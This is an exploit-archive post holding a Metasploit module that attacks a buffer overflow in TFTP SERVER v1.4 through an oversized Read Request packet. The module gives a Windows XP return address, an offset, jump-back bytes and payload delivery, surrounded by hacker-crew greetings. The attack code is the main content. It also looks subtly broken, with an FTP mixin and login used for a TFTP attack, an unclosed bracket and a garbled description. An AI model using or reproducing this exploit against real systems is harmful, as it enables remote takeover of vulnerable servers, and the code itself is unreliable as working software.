TFTP SERVER 1.4 RRQ Remote Root Buffer Overflow

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# Title : TFTP SERVER v1.4 (RRQ) Remote Root BOF Exploit (MSF)  
# Author : KedAns-Dz  
# E-mail : [email protected] ([email protected]) | [email protected] | [email protected]  
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)  
# Web Site : www.1337day.com * sec4ever.com * r00tw0rm.com  
# Facebook : http://facebook.com/KedAns  
# platform : windows (Remote)  
# Type : Remote r00t & Buffer Ov3rfl0w  
# Tested on : winXP sp3 (en)  
###  
  
##  
# I'm BaCk fr0m OURHOUD ^__^ .. I m!Ss tHe Explo!tInG <3 <3 ^_*  
##  
  
##  
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |  
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 |  
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |  
# | KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE .. |  
# | ------------------------------------------------- < |  
##  
  
##  
# $Id: tftp14rrq_bof.rb | 2012-01-15 | 00:01 | KedAns-Dz $  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'TFTP SERVER v1.4 (RRQ) Remote Root BOF Exploit',  
'Description' => %q{  
This module exploits a After some simple fuzzing with spike I discovered that sending a Read  
Request (RRQ) packet can also trigger a buffer overflow  
},  
'Author' => [  
'KedAns-Dz <ked-h[at]hotmail.com>', # t0 MSF  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 0.1',  
'References' =>  
[  
[ 'URL', 'http://1337day.com/exploits/17361' ], # by b33f  
[ 'URL', 'http://www.exploit-db.com/exploits/10542' ], # by Molotov  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'BadChars' => "\x00\x0d",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'TFTP SERVER v1.4 (Windows XP-SP3 / netascii mod)',  
{  
'Ret' => 0x00409605, # ppr (from TFTPServer.exe)  
'Offset' => 93,  
'Mode' => 'netascii'  
}  
],  
  
],  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
disconnect  
  
if (banner =~ /TFTP SERVER v1.4/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect_login  
  
print_status("Trying target #{target.name}...")  
  
buf = make_nops(target['Offset']) # Nop's  
buf << payload.encoded  
buf << "\x41" * 1487  
buf << "\xE9\x2E\xFA\xFF\xFF" # jump back  
buf << "\xEB\xF9\x90\x90" # jump back 5-bytes  
buf << [target.ret].pack('V')  
buf << make_nops(18) # Padding  
  
dz = "\x00\x01"  
dz << buf  
dz << "\x00"  
dz << [target['Mode']  
dz << "\x00"  
  
send_cmd(dz, false )  
  
handler  
disconnect  
end  
  
end  
  
#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================  
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky Ariestiyansyah * Islam Caddy ..  
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com)   
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n *   
# Angel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * Sec4ever  
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X  
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TreX  
# www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..  
#================================================================================================`